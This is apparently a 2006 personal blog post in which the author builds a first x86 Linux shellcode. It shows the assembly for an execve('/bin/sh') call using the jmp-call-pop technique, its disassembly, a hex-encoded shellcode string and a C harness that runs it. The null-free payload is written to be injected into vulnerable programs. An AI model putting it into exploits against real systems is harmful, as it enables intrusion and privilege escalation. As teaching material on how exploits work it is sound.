in the name of zero

February 18, 2006

my first shellcode

Filed under: hermetic studies

implementing sys_execve in asm was a pain. but i had to do that first on a normal assembly listing before doing anything else. i saw two implementations. one made use of the stack, which i happen to fancy. and the second one uses a predefined string.

i tried both styles but for this entry, i'll be showing the shellcode that utilizes the stack.

        global _start
 section .text
 _start:
         ; setreuid code block here
	
         jmp short .setup
	
 .spawnshell:
	
         pop ebx                 ; ebx holds string address
         lea esp, [esp-8]        ; room on stack
         and esp, -8
	
         mov [esp], ebx          ; first dword holds string addr
         xor eax, eax
         mov [esp+4], eax        ; second dword holds null
	
         mov al, 11
         lea ecx, [esp]
         lea edx, [esp+4]
         int 0x80
 .setup:
         call .spawnshell
	 db '/bin/sh'

[ explain ]
one must have noticed this by now, how come we first need to jump to the last part of our shellcode where we declared our string? moreover, how come the string get's declared last?

it’s because we want to have a negative address offset to the call instruction. otherwise, we will have null bytes. since the address passed is a dword. we actually never reach the very last line of the shellcode (which happens to be the string declaration) in order to execute it. also, sys_execve overwrites the calling program's text, data, bss and stack segment with that of the program being loaded.

Disassembly of section .text:
	
080480a0 < .text>:
 80480a0:       eb 1f                   jmp    0x80480c1
 80480a2:       5b                      pop    %ebx
 80480a3:       8d 64 24 f8             lea    0xfffffff8(%esp),%esp
 80480a7:       81 e4 f8 ff ff ff       and    $0xfffffff8,%esp
 80480ad:       89 1c 24                mov    %ebx,(%esp)
 80480b0:       31 c0                   xor    %eax,%eax
 80480b2:       89 44 24 04             mov    %eax,0x4(%esp)
 80480b6:       b0 0b                   mov    $0xb,%al
 80480b8:       8d 0c 24                lea    (%esp),%ecx
 80480bb:       8d 54 24 04             lea    0x4(%esp),%edx
 80480bf:       cd 80                   int    $0x80
 80480c1:       e8 dc ff ff ff          call   0x80480a2
 80480c6:       2f                      das
 80480c7:       62 69 6e                bound  %ebp,0x6e(%ecx)
 80480ca:       2f                      das
 80480cb:       73 68                   jae    0x8048135

and based on those opcodes we construct a shellcode in c. we have a function pointer that points to our string where we placed our shellcodes. notice that each two byte value is prefixed by a "\x". this denotes that the value is hexadecimal.

char stack[]="\xeb\x1f\x5b\x8d\x64\x24\xf8\x81\xe4\xf8\xff\xff\xff\x89" \
               "\x1c\x24\x31\xc0\x89\x44\x24\x04\xb0\x0b\x8d\x0c\x24\x8d" \
               "\x54\x24\x04\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
	
 typedef int (*fp)();
	
 void exec(int (*fp)())
 {
         fp();
 }
	
 int main(int argc, char **argv)
 {
         exec((fp)stack);
         return 0;
 }

Comments »

The URI to TrackBack this entry is: http://gnurbs.blogsome.com/2006/02/18/my-first-shellcode/trackback/

No comments yet.

RSS feed for comments on this post.

Leave a comment

Line and paragraph breaks automatic, e-mail address never displayed, HTML allowed: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>


Get free blog up and running in minutes with Blogsome | Theme designs available here